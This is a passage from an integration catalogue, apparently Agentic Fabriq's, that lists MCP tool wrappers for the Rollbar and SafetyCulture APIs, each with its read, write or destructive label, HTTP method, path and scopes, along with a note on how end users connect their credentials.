write. rollbar_put_api_1_team_by_team_id_project_by_project_id (write) — Assign a team to a project via PUT /api/1/team/{team_id}/project/{project_id}. # Example Response ```json { "err": 0, "result": { "team_id": 272686, "project_id": 165090 } } ``` PUT /api/v1/rollbar/api/1/team/{team_id}/project/{project_id}. Scopes: write. rollbar_put_api_1_team_by_team_id_user_by_user_id (write) — Assign a user to team via PUT /api/1/team/{team_id}/user/{user_id}. Assign a user to a team, granting them the team's access level in every project that team is assigned to. Idempotent: assigning a user who is already on the team answers 200 with the same pair. PUT /api/v1/rollbar/api/1/team/{team_id}/user/{user_id}. Scopes: write. ================================================================================ ## SafetyCulture (Mitti) URL: https://www.agenticfabriq.com/integrations/safetyculture Section: Integrated Tools SafetyCulture (Mitti) — 394 MCP tools Provider key: safetyculture. Scopes: none. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. safetyculture_delete_assets_v1_assets_by_id (write, destructive) — Delete asset via DELETE /assets/v1/assets/{id} DELETE /api/v1/safetyculture/assets/v1/assets/{id}. Scopes: none. safetyculture_delete_assets_v1_assets_by_id_archive (write) — Restore archived asset via DELETE /assets/v1/assets/{id}/archive DELETE /api/v1/safetyculture/assets/v1/assets/{id}/archive. Scopes: none. safetyculture_delete_assets_v1_fields_by_id (write, destructive) — Delete field (Fields) via DELETE /assets/v1/fields/{id} DELETE /api/v1/safetyculture/assets/v1/fields/{id}. Scopes: none. safetyculture_delete_assets_v1_maintenance_plan_by_id (write, destructive) — Delete plan via DELETE /assets/v1/maintenance/plan/{id} DELETE /api/v1/safetyculture/assets/v1/maintenance/plan/{id}. Scopes: none. safetyculture_delete_assets_v1_maintenance_program_by_id (write, destructive) — Delete program via DELETE /assets/v1/maintenance/program/{id} DELETE /api/v1/safetyculture/assets/v1/maintenance/program/{id}. Scopes: none. safetyculture_delete_assets_v1_maintenance_program_by_id_assets (write, destructive) — Remove assets from program via DELETE /assets/v1/maintenance/program/{id}/assets DELETE /api/v1/safetyculture/assets/v1/maintenance/program/{id}/assets. Scopes: none. safetyculture_delete_assets_v1_status_groups_by_id (write, destructive) — Delete status group via DELETE /assets/v1/status-groups/{id} DELETE /api/v1/safetyculture/assets/v1/status-groups/{id}. Scopes: none. safetyculture_delete_assets_v1_status_groups_by_id_types (write, destructive) — Remove status group from asset types via DELETE /assets/v1/status-groups/{id}/types DELETE /api/v1/safetyculture/assets/v1/status-groups/{id}/types. Scopes: none. safetyculture_delete_assets_v1_types_by_id (write, destructive) — Delete type via DELETE /assets/v1/types/{id} DELETE /api/v1/safetyculture/assets/v1/types/{id}. Scopes: none. safetyculture_delete_audits_by_audit_id_web_report_link (write, destructive) — Delete inspection web report link via DELETE /audits/{audit_id}/web_report_link DELETE /api/v1/safetyculture/audits/{audit_id}/web_report_link. Scopes: none. safetyculture_delete_companies_v1_company (write, destructive) — Delete contractor company via DELETE /companies/v1/company DELETE /api/v1/safetyculture/companies/v1/company. Scopes: none. safetyculture_delete_companies_v1_documents_type (write, destructive) — Delete company document type via DELETE /companies/v1/documents/type DELETE /api/v1/safetyculture/companies/v1/documents/type. Scopes: none. safetyculture_delete_credentials_v1_credential (write, destructive) — Delete document for user via DELETE /credentials/v1/credential DELETE /api/v1/safetyculture/credentials/v1/credential. Scopes: none. safetyculture_delete_credentials_v1_credential_type_by_id (write, destructive) — Delete document type via DELETE /credentials/v1/credential-type/{id} DELETE /api/v1/safetyculture/credentials/v1/credential-type/{id}. Scopes: none. safetyculture_delete_directory_v1_folder_by_id_users (write, destructive) — Remove users association via DELETE /directory/v1/folder/{id}/users DELETE /api/v1/safetyculture/directory/v1/folder/{id}/users. Scopes: none. safetyculture_delete_directory_v1_folders (write, destructive) — Delete folders via DELETE /directory/v1/folders DELETE /api/v1/safetyculture/directory/v1/folders. Scopes: none. safetyculture_delete_directory_v1_user_by_user_id_folders (write, destructive) — Remove folders association via DELETE /directory/v1/user/{user_id}/folders DELETE /api/v1/safetyculture/directory/v1/user/{user_id}/folders. Scopes: none. safetyculture_delete_groups_by_group_id_users_by_user_id (write, destructive) — Remove user via DELETE /groups/{group_id}/users/{user_id} DELETE /api/v1/safetyculture/groups/{group_id}/users/{user_id}. Scopes: none. safetyculture_delete_incidents_v1_categories_by_category_id (write, destructive) — Delete category via DELETE /incidents/v1/categories/{category_id} DELETE /api/v1/safetyculture/incidents/v1/categories/{category_id}. Scopes: none. safetyculture_delete_incidents_v1_detail_fields_by_field_id (write, destructive) — Delete detail field via DELETE /incidents/v1/detail-fields/{field_id} DELETE /api/v1/safetyculture/incidents/v1/detail-fields/{field_id}. Scopes: none. safetyculture_delete_incidents_v1_investigations_by_investigation_id (write, destructive) — Delete investigation via DELETE /incidents/v1/investigations/{investigation_id} DELETE /api/v1/safetyculture/incidents/v1/investigations/{investigation_id}. Scopes: none. safetyculture_delete_incidents_v1_osha_cases_by_case_id (write, destructive) — Delete case via DELETE /incidents/v1/osha/cases/{case_id} DELETE /api/v1/safetyculture/incidents/v1/osha/cases/{case_id}. Scopes: none. safetyculture_delete_incidents_v1_osha_establishments_by_establishment_id (write, destructive) — Delete establishment via DELETE /incidents/v1/osha/establishments/{establishment_id} DELETE /api/v1/safetyculture/incidents/v1/osha/establishments/{establishment_id}. Scopes: none. safetyculture_delete_inspections_integration_v1_inspections_by_inspection_id_tables_by_item_id_lines_by_line_id (write, destructive) — Delete table line via DELETE /inspections/integration/v1/inspections/{inspection_id}/tables/{item_id}/lines/{line_id} DELETE /api/v1/safetyculture/inspections/integration/v1/inspections/{inspection_id}/tables/{item_id}/lines/{line_id}. Scopes: none. safetyculture_delete_inspections_v1_inspections_by_id (write, destructive) — Delete inspection via DELETE /inspections/v1/inspections/{id} DELETE /api/v1/safetyculture/inspections/v1/inspections/{id}. Scopes: none. safetyculture_delete_inspections_v1_inspections_by_inspection_id_archive (write) — Restore archived inspection via DELETE /inspections/v1/inspections/{inspection_id}/archive DELETE /api/v1/safetyculture/inspections/v1/inspections/{inspection_id}/archive. Scopes: none. safetyculture_delete_inspections_v1_inspections_by_inspection_id_user_by_removed_user_id_access (write, destructive) — Remove inspection user access via DELETE /inspections/v1/inspections/{inspection_id}/user/{removed_user_id}/access DELETE /api/v1/safetyculture/inspections/v1/inspections/{inspection_id}/user/{removed_user_id}/access. Scopes: none. safetyculture_delete_integrations_v1_apps_by_app_id_installations_by_installation_id (write, destructive) — Delete installation via DELETE /integrations/v1/apps/{app_id}/installations/{installation_id} DELETE /api/v1/safetyculture/integrations/v1/apps/{app_id}/installations/{installation_id}. Scopes: none. safetyculture_delete_integrations_v1_apps_by_app_id_installations_by_installation_id_configurations_by_configuration_id (write, destructive) — Delete configuration via DELETE /integrations/v1/apps/{app_id}/installations/{installation_id}/configurations/{configuration_id} DELETE /api/v1/safetyculture/integrations/v1/apps/{app_id}/installations/{installation_id}/configurations/{configuration_id}. Scopes: none. safetyculture_delete_response_sets_by_id (write, destructive) — Delete global response set via DELETE /response_sets/{id} DELETE /api/v1/safetyculture/response_sets/{id}. Scopes: none. safetyculture_delete_response_sets_by_id_responses_by_response_id (write, destructive) — Delete GRS response via DELETE /response_sets/{id}/responses/{response_id} DELETE /api/v1/safetyculture/response_sets/{id}/responses/{response_id}. Scopes: none. safetyculture_delete_schedules_v1_schedule_items_by_id (write, destructive) — Delete schedule item via DELETE /schedules/v1/schedule_items/{id} DELETE /api/v1/safetyculture/schedules/v1/schedule_items/{id}. Scopes: none. safetyculture_delete_scheduling_v1_schedules_by_id (write, destructive) — Delete schedule via DELETE /scheduling/v1/schedules/{id} DELETE /api/v1/safetyculture/scheduling/v1/schedules/{id}. Scopes: none. safetyculture_delete_sensors_v1_sensors_deprovision_by_source_name_by_source_id (write, destructive) — Deprovision sensor via DELETE /sensors/v1/sensors/deprovision/{source_name}/{source_id} DELETE /api/v1/safetyculture/sensors/v1/sensors/deprovision/{source_name}/{source_id}. Scopes: none. safetyculture_delete_tasks_v1_actions_by_task_id_shared_link (write, destructive) — Revoke action shared link via DELETE /tasks/v1/actions/{task_id}/shared_link DELETE /api/v1/safetyculture/tasks/v1/actions/{task_id}/shared_link. Scopes: none. safetyculture_delete_tasks_v1_customer_configuration_by_type_id_custom_field_by_field_id (write, destructive) — Unmap field from task type via DELETE /tasks/v1/customer_configuration/{type_id}/custom_field/{field_id} DELETE /api/v1/safetyculture/tasks/v1/customer_configuration/{type_id}/custom_field/{field_id}. Scopes: none. safetyculture_delete_tasks_v1_customer_configuration_custom_field_by_id (write, destructive) — Delete custom field via DELETE /tasks/v1/customer_configuration/custom_field/{id} DELETE /api/v1/safetyculture/tasks/v1/customer_configuration/custom_field/{id}. Scopes: none. safetyculture_delete_tasks_v1_customer_configuration_task_type_by_id (write, destructive) — Delete task type via DELETE /tasks/v1/customer_configuration/task_type/{id} DELETE /api/v1/safetyculture/tasks/v1/customer_configuration/task_type/{id}. Scopes: none. safetyculture_delete_templates_v1_templates_by_template_id (write, destructive) — Delete template by ID via DELETE /templates/v1/templates/{template_id} DELETE /api/v1/safetyculture/templates/v1/templates/{template_id}. Scopes: none. safetyculture_delete_templates_v1_templates_by_template_id_archive (write) — Restore archived template via DELETE /templates/v1/templates/{template_id}/archive DELETE /api/v1/safetyculture/templates/v1/templates/{template_id}/archive. Scopes: none. safetyculture_delete_users_v1_fields_by_id (write, destructive) — Delete field (User fields) via DELETE /users/v1/fields/{id} DELETE /api/v1/safetyculture/users/v1/fields/{id}. Scopes: none. safetyculture_delete_users_v1_users_upsert_jobs_by_job_id (write, destructive) — Cancel create or update users job via DELETE /users/v1/users/upsert/jobs/{job_id} DELETE /api/v1/safetyculture/users/v1/users/upsert/jobs/{job_id}. Scopes: none. safetyculture_delete_webhooks_v1_webhooks_by_webhook_id (write, destructive) — Delete webhook via DELETE /webhooks/v1/webhooks/{webhook_id} DELETE /api/v1/safetyculture/webhooks/v1/webhooks/{webhook_id}. Scopes: none. safetyculture_get_accounts_organisation_v1_accounts_user_by_user_id_groups (read) — Get user groups (Organisation) via GET /accounts/organisation/v1/accounts/user/{user_id}/groups GET /api/v1/safetyculture/accounts/organisation/v1/accounts/user/{user_id}/groups. Scopes: none. safetyculture_get_announcements_v1_announcement_getheadsup (read) — Get heads up via GET /announcements/v1/announcement:GetHeadsUp GET /api/v1/safetyculture/announcements/v1/announcement:GetHeadsUp. Scopes: none. safetyculture_get_assets_v1_assets_by_id (read) — Get asset via GET /assets/v1/assets/{id} GET /api/v1/safetyculture/assets/v1/assets/{id}. Scopes: none. safetyculture_get_assets_v1_assets_getassetbycode (read) — Get asset by code via GET /assets/v1/assets:GetAssetByCode GET /api/v1/safetyculture/assets/v1/assets:GetAssetByCode. Scopes: none. safetyculture_get_assets_v1_feed_assets_maintenance (read) — Feed assets maintenance via GET /assets/v1/feed/assets_maintenance GET /api/v1/safetyculture/assets/v1/feed/assets_maintenance. Scopes: none. safetyculture_get_assets_v1_feed_maintenance_plans (read) — Feed maintenance plans via GET /assets/v1/feed/maintenance_plans GET /api/v1/safetyculture/assets/v1/feed/maintenance_plans. Scopes: none. safetyculture_get_assets_v1_feed_maintenance_programs (read) — Feed maintenance programs via GET /assets/v1/feed/maintenance_programs GET /api/v1/safetyculture/assets/v1/feed/maintenance_programs. Scopes: none. safetyculture_get_assets_v1_maintenance_program (read) — Get program via GET /assets/v1/maintenance/program GET /api/v1/safetyculture/assets/v1/maintenance/program. Scopes: none. safetyculture_get_assets_v1_status_groups_by_id (read) — Get status group via GET /assets/v1/status-groups/{id} GET /api/v1/safetyculture/assets/v1/status-groups/{id}. Scopes: none. safetyculture_get_assets_v1_types_by_id (read) — Get type via GET /assets/v1/types/{id} GET /api/v1/safetyculture/assets/v1/types/{id}. Scopes: none. safetyculture_get_audits_by_audit_id_media_by_media_id (read) — Get inspection media via GET /audits/{audit_id}/media/{media_id} GET /api/v1/safetyculture/audits/{audit_id}/media/{media_id}. Scopes: none. safetyculture_get_audits_by_audit_id_web_report_link (read) — Get inspection web report link via GET /audits/{audit_id}/web_report_link GET /api/v1/safetyculture/audits/{audit_id}/web_report_link. Scopes: none. safetyculture_get_audits_search (read) — Search inspections via GET /audits/search GET /api/v1/safetyculture/audits/search. Scopes: none. safetyculture_get_companies_v1_company (read) — Get contractor company via GET /companies/v1/company GET /api/v1/safetyculture/companies/v1/company. Scopes: none. safetyculture_get_companies_v1_feed_companies (read) — Feed contractor companies via GET /companies/v1/feed/companies GET /api/v1/safetyculture/companies/v1/feed/companies. Scopes: none. safetyculture_get_companies_v1_feed_companies_documents (read) — Feed contractor company documents via GET /companies/v1/feed/companies/documents GET /api/v1/safetyculture/companies/v1/feed/companies/documents. Scopes: none. safetyculture_get_companies_v1_feed_companies_members (read) — Feed contractor company user memberships via GET /companies/v1/feed/companies/members GET /api/v1/safetyculture/companies/v1/feed/companies/members. Scopes: none. safetyculture_get_companies_v1_type_by_id (read) — Get company type via GET /companies/v1/type/{id} GET /api/v1/safetyculture/companies/v1/type/{id}. Scopes: none. safetyculture_get_credentials_v1_credential_type_by_id (read) — Get document type via GET /credentials/v1/credential-type/{id} GET /api/v1/safetyculture/credentials/v1/credential-type/{id}. Scopes: none. safetyculture_get_credentials_v1_credential_version (read) — Get document version via GET /credentials/v1/credential/version GET /api/v1/safetyculture/credentials/v1/credential/version. Scopes: none. safetyculture_get_credentials_v1_feed_credential_types (read) — Credential types via GET /credentials/v1/feed/credential-types GET /api/v1/safetyculture/credentials/v1/feed/credential-types. Scopes: none. safetyculture_get_credentials_v1_feed_credentials (read) — Credentials via GET /credentials/v1/feed/credentials GET /api/v1/safetyculture/credentials/v1/feed/credentials. Scopes: none. safetyculture_get_credentials_v1_settings (read) — Get settings via GET /credentials/v1/settings GET /api/v1/safetyculture/credentials/v1/settings. Scopes: none. safetyculture_get_directory_v1_folder_by_id (read) — Get folder via GET /directory/v1/folder/{id} GET /api/v1/safetyculture/directory/v1/folder/{id}. Scopes: none. safetyculture_get_directory_v1_folder_by_id_users (read) — Get all users by folder via GET /directory/v1/folder/{id}/users GET /api/v1/safetyculture/directory/v1/folder/{id}/users. Scopes: none. safetyculture_get_directory_v1_folder_by_id_users_associated (read) — Get users by folder via GET /directory/v1/folder/{id}/users/associated GET /api/v1/safetyculture/directory/v1/folder/{id}/users/associated. Scopes: none. safetyculture_get_directory_v1_folder_by_id_users_inherited (read) — Get inherited users by folder via GET /directory/v1/folder/{id}/users/inherited GET /api/v1/safetyculture/directory/v1/folder/{id}/users/inherited. Scopes: none. safetyculture_get_directory_v1_folders (read) — Get folders via GET /directory/v1/folders GET /api/v1/safetyculture/directory/v1/folders. Scopes: none. safetyculture_get_directory_v1_organization_labels (read) — Get org labels via GET /directory/v1/organization/labels GET /api/v1/safetyculture/directory/v1/organization/labels. Scopes: none. safetyculture_get_directory_v1_parent_by_id_folders (read) — Get folders by parent via GET /directory/v1/parent/{id}/folders GET /api/v1/safetyculture/directory/v1/parent/{id}/folders. Scopes: none. safetyculture_get_directory_v1_user_folder_ids (read) — Get folder I ds for user via GET /directory/v1/user/folder_ids GET /api/v1/safetyculture/directory/v1/user/folder_ids. Scopes: none. safetyculture_get_feed_action_assignees (read) — Feed action assignees via GET /feed/action_assignees GET /api/v1/safetyculture/feed/action_assignees. Scopes: none. safetyculture_get_feed_action_timeline_items (read) — Feed action timeline items via GET /feed/action_timeline_items GET /api/v1/safetyculture/feed/action_timeline_items. Scopes: none. safetyculture_get_feed_actions (read) — Feed actions via GET /feed/actions GET /api/v1/safetyculture/feed/actions. Scopes: none. safetyculture_get_feed_activity_log_events (read) — Feed activity log events via GET /feed/activity_log_events GET /api/v1/safetyculture/feed/activity_log_events. Scopes: none. safetyculture_get_feed_assets (read) — Feed assets via GET /feed/assets GET /api/v1/safetyculture/feed/assets. Scopes: none. safetyculture_get_feed_group_users (read) — Feed group users via GET /feed/group_users GET /api/v1/safetyculture/feed/group_users. Scopes: none. safetyculture_get_feed_groups (read) — Feed groups via GET /feed/groups GET /api/v1/safetyculture/feed/groups. Scopes: none. safetyculture_get_feed_inspection_items (read) — Feed inspection items via GET /feed/inspection_items GET /api/v1/safetyculture/feed/inspection_items. Scopes: none. safetyculture_get_feed_inspections (read) — Feed inspections via GET /feed/inspections GET /api/v1/safetyculture/feed/inspections. Scopes: none. safetyculture_get_feed_issue_assignees (read) — Feed issue assignees via GET /feed/issue_assignees GET /api/v1/safetyculture/feed/issue_assignees. Scopes: none. safetyculture_get_feed_issue_relations (read) — Feed issue relationships via GET /feed/issue_relations GET /api/v1/safetyculture/feed/issue_relations. Scopes: none. safetyculture_get_feed_issue_timeline_items (read) — Feed issue timeline items via GET /feed/issue_timeline_items GET /api/v1/safetyculture/feed/issue_timeline_items. Scopes: none. safetyculture_get_feed_issues (read) — Feed issues via GET /feed/issues GET /api/v1/safetyculture/feed/issues. Scopes: none. safetyculture_get_feed_site_members (read) — Feed site members via GET /feed/site_members GET /api/v1/safetyculture/feed/site_members. Scopes: none. safetyculture_get_feed_sites (read) — Feed sites via GET /feed/sites GET /api/v1/safetyculture/feed/sites. Scopes: none. safetyculture_get_feed_template_permissions (read) — Feed template permissions via GET /feed/template_permissions GET /api/v1/safetyculture/feed/template_permissions. Scopes: none. safetyculture_get_feed_templates (read) — Feed templates via GET /feed/templates GET /api/v1/safetyculture/feed/templates. Scopes: none. safetyculture_get_feed_users (read) — Feed users via GET /feed/users GET /api/v1/safetyculture/feed/users. Scopes: none. safetyculture_get_groups (read) — List groups via GET /groups GET /api/v1/safetyculture/groups. Scopes: none. safetyculture_get_groups_by_group_id_users (read) — List users in group via GET /groups/{group_id}/users GET /api/v1/safetyculture/groups/{group_id}/users. Scopes: none. safetyculture_get_incidents_v1_categories (read) — List categories via GET /incidents/v1/categories GET /api/v1/safetyculture/incidents/v1/categories. Scopes: none. safetyculture_get_incidents_v1_categories_by_category_id_detail_fields (read) — List category detail fields via GET /incidents/v1/categories/{category_id}/detail-fields GET /api/v1/safetyculture/incidents/v1/categories/{category_id}/detail-fields. Scopes: none. safetyculture_get_incidents_v1_feed_investigation_detail_fields (read) — Feed investigation detail fields via GET /incidents/v1/feed/investigation_detail_fields GET /api/v1/safetyculture/incidents/v1/feed/investigation_detail_fields. Scopes: none. safetyculture_get_incidents_v1_feed_investigation_fields (read) — Feed investigation fields via GET /incidents/v1/feed/investigation_fields GET /api/v1/safetyculture/incidents/v1/feed/investigation_fields. Scopes: none. safetyculture_get_incidents_v1_feed_investigation_relationships (read) — Feed investigation relationships via GET /incidents/v1/feed/investigation_relationships GET /api/v1/safetyculture/incidents/v1/feed/investigation_relationships. Scopes: none. safetyculture_get_incidents_v1_feed_investigations (read) — Feed investigations via GET /incidents/v1/feed/investigations GET /api/v1/safetyculture/incidents/v1/feed/investigations. Scopes: none. safetyculture_get_incidents_v1_field_library (read) — List detail field library via GET /incidents/v1/field-library GET /api/v1/safetyculture/incidents/v1/field-library. Scopes: none. safetyculture_get_incidents_v1_fields (read) — List fields (Investigations) via GET /incidents/v1/fields GET /api/v1/safetyculture/incidents/v1/fields. Scopes: none. safetyculture_get_incidents_v1_investigations (read) — List investigations via GET /incidents/v1/investigations GET /api/v1/safetyculture/incidents/v1/investigations. Scopes: none. safetyculture_get_incidents_v1_investigations_by_investigation_id (read) — Get investigation via GET /incidents/v1/investigations/{investigation_id} GET /api/v1/safetyculture/incidents/v1/investigations/{investigation_id}. Scopes: none. safetyculture_get_incidents_v1_investigations_by_investigation_id_access (read) — Get investigation access via GET /incidents/v1/investigations/{investigation_id}/access GET /api/v1/safetyculture/incidents/v1/investigations/{investigation_id}/access. Scopes: none. safetyculture_get_incidents_v1_investigations_by_investigation_id_actions (read) — List investigation actions via GET /incidents/v1/investigations/{investigation_id}/actions GET /api/v1/safetyculture/incidents/v1/investigations/{investigation_id}/actions. Scopes: none. safetyculture_get_incidents_v1_investigations_by_investigation_id_actions_count (read) — Get investigation action count via GET /incidents/v1/investigations/{investigation_id}/actions/count GET /api/v1/safetyculture/incidents/v1/investigations/{investigation_id}/actions/count. Scopes: none. safetyculture_get_incidents_v1_investigations_by_investigation_id_courses (read) — List investigation courses via GET /incidents/v1/investigations/{investigation_id}/courses GET /api/v1/safetyculture/incidents/v1/investigations/{investigation_id}/courses. Scopes: none. safetyculture_get_incidents_v1_investigations_by_investigation_id_courses_count (read) — Get investigation course count via GET /incidents/v1/investigations/{investigation_id}/courses/count GET /api/v1/safetyculture/incidents/v1/investigations/{investigation_id}/courses/count. Scopes: none. safetyculture_get_incidents_v1_investigations_by_investigation_id_inspections (read) — List investigation inspections via GET /incidents/v1/investigations/{investigation_id}/inspections GET /api/v1/safetyculture/incidents/v1/investigations/{investigation_id}/inspections. Scopes: none. safetyculture_get_incidents_v1_investigations_by_investigation_id_inspections_count (read) — Get investigation inspection count via GET /incidents/v1/investigations/{investigation_id}/inspections/count GET /api/v1/safetyculture/incidents/v1/investigations/{investigation_id}/inspections/count. Scopes: none. safetyculture_get_incidents_v1_investigations_by_investigation_id_issues (read) — List investigation issues via GET /incidents/v1/investigations/{investigation_id}/issues GET /api/v1/safetyculture/incidents/v1/investigations/{investigation_id}/issues. Scopes: none. safetyculture_get_incidents_v1_investigations_by_investigation_id_issues_count (read) — Get investigation issue count via GET /incidents/v1/investigations/{investigation_id}/issues/count GET /api/v1/safetyculture/incidents/v1/investigations/{investigation_id}/issues/count. Scopes: none. safetyculture_get_incidents_v1_investigations_by_investigation_id_log (read) — List investigation log via GET /incidents/v1/investigations/{investigation_id}/log GET /api/v1/safetyculture/incidents/v1/investigations/{investigation_id}/log. Scopes: none. safetyculture_get_incidents_v1_investigations_by_investigation_id_media (read) — List investigation media via GET /incidents/v1/investigations/{investigation_id}/media GET /api/v1/safetyculture/incidents/v1/investigations/{investigation_id}/media. Scopes: none. safetyculture_get_incidents_v1_investigations_by_investigation_id_media_count (read) — Get investigation media count via GET /incidents/v1/investigations/{investigation_id}/media/count GET /api/v1/safetyculture/incidents/v1/investigations/{investigation_id}/media/count. Scopes: none. safetyculture_get_incidents_v1_investigations_by_investigation_id_pdf (read) — Get investigation PDF report via GET /incidents/v1/investigations/{investigation_id}/pdf GET /api/v1/safetyculture/incidents/v1/investigations/{investigation_id}/pdf. Scopes: none. safetyculture_get_incidents_v1_investigations_count (read) — Get investigations count via GET /incidents/v1/investigations/count GET /api/v1/safetyculture/incidents/v1/investigations/count. Scopes: none. safetyculture_get_incidents_v1_log (read) — List settings log via GET /incidents/v1/log GET /api/v1/safetyculture/incidents/v1/log. Scopes: none. safetyculture_get_incidents_v1_osha_cases (read) — List cases via GET /incidents/v1/osha/cases GET /api/v1/safetyculture/incidents/v1/osha/cases. Scopes: none. safetyculture_get_incidents_v1_osha_cases_by_case_id (read) — Get case via GET /incidents/v1/osha/cases/{case_id} GET /api/v1/safetyculture/incidents/v1/osha/cases/{case_id}. Scopes: none. safetyculture_get_incidents_v1_osha_establishments (read) — List establishments via GET /incidents/v1/osha/establishments GET /api/v1/safetyculture/incidents/v1/osha/establishments. Scopes: none. safetyculture_get_incidents_v1_osha_establishments_by_establishment_id (read) — Get establishment via GET /incidents/v1/osha/establishments/{establishment_id} GET /api/v1/safetyculture/incidents/v1/osha/establishments/{establishment_id}. Scopes: none. safetyculture_get_incidents_v1_osha_establishments_by_establishment_id_employees (read) — Get establishment employees via GET /incidents/v1/osha/establishments/{establishment_id}/employees GET /api/v1/safetyculture/incidents/v1/osha/establishments/{establishment_id}/employees. Scopes: none. safetyculture_get_incidents_v1_osha_establishments_by_establishment_id_hours (read) — Get establishment hours via GET /incidents/v1/osha/establishments/{establishment_id}/hours GET /api/v1/safetyculture/incidents/v1/osha/establishments/{establishment_id}/hours. Scopes: none. safetyculture_get_incidents_v1_statuses (read) — List statuses via GET /incidents/v1/statuses GET /api/v1/safetyculture/incidents/v1/statuses. Scopes: none. safetyculture_get_inspections_integration_v1_inspections_by_inspection_id_access (read) — Get inspection access via GET /inspections/integration/v1/inspections/{inspection_id}/access GET /api/v1/safetyculture/inspections/integration/v1/inspections/{inspection_id}/access. Scopes: none. safetyculture_get_inspections_v1_answers_by_id (read) — Get answers for inspection via GET /inspections/v1/answers/{id} GET /api/v1/safetyculture/inspections/v1/answers/{id}. Scopes: none. safetyculture_get_inspections_v1_inspections_by_id (read) — Get inspection via GET /inspections/v1/inspections/{id} GET /api/v1/safetyculture/inspections/v1/inspections/{id}. Scopes: none. safetyculture_get_inspections_v1_inspections_by_id_details (read) — Get inspection details via GET /inspections/v1/inspections/{id}/details GET /api/v1/safetyculture/inspections/v1/inspections/{id}/details. Scopes: none. safetyculture_get_integrations_v1_apps (read) — List applications via GET /integrations/v1/apps GET /api/v1/safetyculture/integrations/v1/apps. Scopes: none. safetyculture_get_integrations_v1_apps_by_app_id_installations_by_installation_id (read) — Get installation via GET /integrations/v1/apps/{app_id}/installations/{installation_id} GET /api/v1/safetyculture/integrations/v1/apps/{app_id}/installations/{installation_id}. Scopes: none. safetyculture_get_integrations_v1_apps_installations (read) — List installations via GET /integrations/v1/apps/installations GET /api/v1/safetyculture/integrations/v1/apps/installations. Scopes: none. safetyculture_get_loneworker_v1_jobs (read) — Get jobs via GET /loneworker/v1/jobs GET /api/v1/safetyculture/loneworker/v1/jobs. Scopes: none. safetyculture_get_loneworker_v1_jobs_getjobevents (read) — Get job events via GET /loneworker/v1/jobs:GetJobEvents GET /api/v1/safetyculture/loneworker/v1/jobs:GetJobEvents. Scopes: none. safetyculture_get_media_v1_download_by_id (read) — Get download signed URL via GET /media/v1/download/{id} GET /api/v1/safetyculture/media/v1/download/{id}. Scopes: none. safetyculture_get_permissions_v1_permission_set_by_id (read) — Get permission set via GET /permissions/v1/permission_set/{id} GET /api/v1/safetyculture/permissions/v1/permission_set/{id}. Scopes: none. safetyculture_get_response_sets_by_id (read) — Get global response set via GET /response_sets/{id} GET /api/v1/safetyculture/response_sets/{id}. Scopes: none. safetyculture_get_response_sets_v2 (read) — List all global response sets via GET /response_sets/v2 GET /api/v1/safetyculture/response_sets/v2. Scopes: none. safetyculture_get_schedules_v1_schedule_items (read) — List schedule items via GET /schedules/v1/schedule_items GET /api/v1/safetyculture/schedules/v1/schedule_items. Scopes: none. safetyculture_get_scheduling_v1_feed_schedule_assignees (read) — Feed schedule assignees via GET /scheduling/v1/feed/schedule_assignees GET /api/v1/safetyculture/scheduling/v1/feed/schedule_assignees. Scopes: none. safetyculture_get_scheduling_v1_feed_schedule_occurrences (read) — Feed schedule occurrences via GET /scheduling/v1/feed/schedule_occurrences GET /api/v1/safetyculture/scheduling/v1/feed/schedule_occurrences. Scopes: none. safetyculture_get_scheduling_v1_feed_schedules (read) — Feed schedules via GET /scheduling/v1/feed/schedules GET /api/v1/safetyculture/scheduling/v1/feed/schedules. Scopes: none. safetyculture_get_scheduling_v1_schedule_targets_by_schedule_id (read) — List schedule targets via GET /scheduling/v1/schedule_targets/{schedule_id} GET /api/v1/safetyculture/scheduling/v1/schedule_targets/{schedule_id}. Scopes: none. safetyculture_get_scheduling_v1_schedules_by_schedule_id (read) — Get schedule via GET /scheduling/v1/schedules/{schedule_id} GET /api/v1/safetyculture/scheduling/v1/schedules/{schedule_id}. Scopes: none. safetyculture_get_scheduling_v1_schedules_by_schedule_id_access (read) — List schedule access via GET /scheduling/v1/schedules/{schedule_id}/access GET /api/v1/safetyculture/scheduling/v1/schedules/{schedule_id}/access. Scopes: none. safetyculture_get_sensors_v1_sensors_by_source_name_by_source_id_details (read) — Get sensor via GET /sensors/v1/sensors/{source_name}/{source_id}/details GET /api/v1/safetyculture/sensors/v1/sensors/{source_name}/{source_id}/details. Scopes: none. safetyculture_get_sensors_v1_sensors_by_source_name_by_source_id_latest_readings (read) — Get sensor latest readings via GET /sensors/v1/sensors/{source_name}/{source_id}/latest-readings GET /api/v1/safetyculture/sensors/v1/sensors/{source_name}/{source_id}/latest-readings. Scopes: none. safetyculture_get_sensors_v1_sensors_sensor_id_by_device_id (read) — Get sensor id via GET /sensors/v1/sensors/sensor-id/{device_id} GET /api/v1/safetyculture/sensors/v1/sensors/sensor-id/{device_id}. Scopes: none. safetyculture_get_share_connections (read) — Get user groups (Classic) via GET /share/connections GET /api/v1/safetyculture/share/connections. Scopes: none. safetyculture_get_structures_v1_structures_by_structure_id (read) — Get structure profile via GET /structures/v1/structures/{structure_id} GET /api/v1/safetyculture/structures/v1/structures/{structure_id}. Scopes: none. safetyculture_get_structures_v1_structures_by_structure_id_metadata (read) — Get structure metadata via GET /structures/v1/structures/{structure_id}/metadata GET /api/v1/safetyculture/structures/v1/structures/{structure_id}/metadata. Scopes: none. safetyculture_get_tasks_v1_actions_by_id (read) — Get action via GET /tasks/v1/actions/{id} GET /api/v1/safetyculture/tasks/v1/actions/{id}. Scopes: none. safetyculture_get_tasks_v1_actions_by_task_id_shared_link (read) — Get action shared link via GET /tasks/v1/actions/{task_id}/shared_link GET /api/v1/safetyculture/tasks/v1/actions/{task_id}/shared_link. Scopes: none. safetyculture_get_tasks_v1_customer_configuration_action_labels (read) — Get action labels via GET /tasks/v1/customer_configuration/action_labels GET /api/v1/safetyculture/tasks/v1/customer_configuration/action_labels. Scopes: none. safetyculture_get_tasks_v1_customer_configuration_by_type_id_custom_fields_mapped (read) — Get task type custom fields via GET /tasks/v1/customer_configuration/{type_id}/custom_fields/mapped GET 